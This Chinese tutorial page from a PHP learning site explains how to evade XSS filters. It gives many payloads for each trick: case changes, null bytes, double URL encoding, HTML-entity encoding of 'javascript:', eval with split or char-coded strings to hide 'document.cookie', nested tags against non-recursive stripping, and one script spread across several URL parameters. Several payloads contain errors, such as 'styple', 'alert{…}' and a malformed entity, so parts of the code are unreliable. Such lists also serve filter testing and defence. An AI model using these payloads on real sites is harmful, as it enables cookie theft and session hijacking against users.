网站地图    收藏   

主页 > 后端 > 网站安全 >

避开XSS过滤常用方法 - 网站安全 - 自学php

来源:自学PHP网    时间:2015-04-17 13:03 作者: 阅读:

[导读] 0x01 许多过滤匹配特殊的标签,包括起始与结束尖括号。但是,许多浏览器接受结束括号前的空白符,允许攻击者轻易避开这种过滤。例如:script 0x02 因为许多人用小写字符编写HTML代码...

0x01 许多过滤匹配特殊的标签,包括起始与结束尖括号。但是,许多浏览器接受结束括号前的空白符,允许攻击者轻易避开这种过滤。例如:<script >

 
0x02 因为许多人用小写字符编写HTML代码,所以一些过滤仅检查常用的小写恶意标签。例如:<ScRiPt>,通过改变字符大小写避开过滤。
 
0x03 一些过滤匹配任何成对的起始与结束尖括号,删除其中的任何内容,但通常可以依靠周围现有的语法,结束注入的标签,从而避开这种过滤。例如:可以控制下面代码中的value属性值:
 
<input type="hidden" name="pageid" value="foo">
 
就可以使用以下不会被过滤阻止的脚本,注入一个包含JavaScript的新标签:
 
foo"><x styple=" x:expression(alert(document.cookie))
 
许多情况下,浏览器接受未结束的HTML标签;攻击者可以利用这种行为避开过滤。通过构造类似下面无效的HTML代码:
 
<img src="" onerror=alert{document.cookie}
 
 
 
0x04 一些过滤匹配成对的起始与结束尖括号,提取其中的内容,并将这些内容与标签名称黑名单进行比较。可以通过使用多余的括号避开过滤。
 
<<script>alert(document.cookie);//<</script>
 
 
 
0x05 即使空字节后面的文本仍然在应用程序的响应中返回,但如果遇到空字节,一些过滤会停止处理字符串。在被过滤的表达式前插入一个URL编码的空字节即可避开这种过滤。
 
foo%00<script>
 
 
 
0x06 在不同的目标浏览器中,通常可以在被过滤的表达式中插入能够避开过滤、但仍被浏览器接受的字符:
 
<script/src=...
 
<scr%00ipt>
 
expr/*****/ession
 
 
 
0x07 如果用户提交的数据在应用过滤后还进行了规范化,我们仍可以通过URL编码或双重编码被过滤的表达式,避开过滤,并对漏洞进行利用。
 
%3cscript%3e
 
%253cscript%253e
 
 
 
0x08 由于在服务器执行所有输入确认后,在响应中返回的攻击有效代码会被受害者的浏览器解析,这时候就出现了一种避开规范化的特殊情况。有时候,可以对攻击代码进行HTML编码以避开服务器的输入确认,受害者的浏览器将会再次解析攻击代码。例如,表达式Javascript:常被阻止以防止使用这种协议的攻击。但是,攻击者可以通过各种浏览器接受的方式对该表达式进行HTML编码。例如:
 
<img src=javascript:...
 
<img src=javascri&0000112;t:...
 
<img src=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A....
 
以上三个例子分别使用标准的UTF-8编码、利用多余填补数据的标准编码以及省略分号的十六进制编码。不同的编码类型进行结合,排列组合量非常大。
 
 
 
有时候我们能够成功执行一些JavaScript脚本,但在代码中对一些命令和关键字进行了限制。这个时候,可以通过动态创建并执行语句来避开应用程序的过滤。
 
应用程序阻止用户提交任何包含表达式document.cookie的数据,可以通过如下方法来避开这种过滤:
 
var a = "alert(doc" + "ument.coo" + "kie)"; eval(a);
 
or
 
var a = "alert(" + String.fromCharCode(100,111,99,117,109,101,110,116,46,99,111,111,107,105,101) + ")"; eval(a);
 
 
 
    有时候应用程序会对某些关键字分进行HTML编码(<变成<;,>变成>;),这种情况下,应用程序可能会完全删除某些字符或表达式,试图利用这种净化来阻止恶意代码的执行。
 
通常碰到这种字符净化设置,需要查明应用程序净化了哪些字符与表达式,以及能否通过剩下的字符实施攻击。
 
0x09 如果过滤完全删除某些表达式,并且至少有一个被删除的表达式长度超过一个字符,那么只要应用程序没有进行递归净化,就可能避开过滤。
 
<scr<script>ipt>
 
 
 
假设应用程序对每个字段实施了长度限制,以阻止在其中插入有效的攻击字符串。但是攻击者仍然可以使用下面的方法,将一段脚本分布到他所控制的三个位置,从而传送一个有效的攻击字符串:
 
https://www.2cto.com /account.php?page_id="><script>/*&seed=*/alert(document.cookie);/*&mode=*/</script>"
 
 最终得到的HTML完全有效,其中的源代码块已成为JavaScript注释(包含在/*与*/之间),因此被浏览器忽略。这样注入的脚本被执行。


作者信息未找到,请作者看到提示。谢谢

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论